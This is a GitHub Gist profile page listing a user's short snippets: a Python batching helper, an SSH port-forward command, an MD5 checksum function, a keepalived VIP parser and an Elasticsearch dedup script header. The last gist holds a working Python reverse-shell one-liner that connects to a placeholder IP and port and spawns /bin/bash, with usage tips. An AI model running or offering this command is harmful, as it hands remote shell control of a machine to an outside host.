Skip to content

Instantly share code, notes, and snippets.

View thuhak's full-sized avatar

周星星 thuhak

  • nio.com
  • shanghai
View GitHub Profile
@thuhak
thuhak / cut.py
Last active August 18, 2020 11:08
def cache(iterable, count: int):
"""
range(10), count=3 -> [0,1,2],[3,4,5],[6,7,8],[9]
"""
assert(count > 0)
saved = []
index = 0
for item in iterable:
if index < count:
saved.append(item)

ssh REMOTE_SERVER -fNL local_socket:host:port

@thuhak
thuhak / elastic_dup_remove.py
Created April 26, 2020 06:06
remove duplicated records in elasticsearch
#!/usr/bin/env python3.6
# A description and analysis of this code can be found at
# https://alexmarquardt.com/2018/07/23/deduplicating-documents-in-elasticsearch/
from argparse import ArgumentParser
import hashlib
from elasticsearch import Elasticsearch
@thuhak
thuhak / check_md5.py
Created October 29, 2019 08:43
check_md5
from hashlib import md5
from functools import partial
def calc_md5(some_file):
mymd5 = md5()
try:
with open(some_file, 'rb') as f:
data = iter(partial(f.read, 8192), b'')
for d in data:
mymd5.update(d)
@thuhak
thuhak / get_keepalive_vip.py
Created October 29, 2019 08:41
get keep alive VIP
import re
def _get_keepalive_vip(conf='/etc/keepalived/keepalived.conf'):
result = []
try:
with open(conf) as f:
pat = re.compile(r'virtual_ipaddress(?:\s|\t\|\n)*\{(.*?)\}', re.DOTALL)
keepalive = f.read()
match = pat.findall(keepalive)
for d in match:
@thuhak
thuhak / reverse_shell.md
Last active January 24, 2019 09:05
reverse_shell
python -c "import socket,pty,os;s=socket.socket(2,1); s.connect(('IP',PORT)); fd = s.fileno();os.dup2(fd,0); os.dup2(fd,1); os.dup2(fd,2); pty.spawn('/bin/bash')"
  • ip替换成源主机ip
  • port是源主机监听端口
  • 使用exit退出shell,不要使用
  • 通过stty -echo intr ^F修改终端配置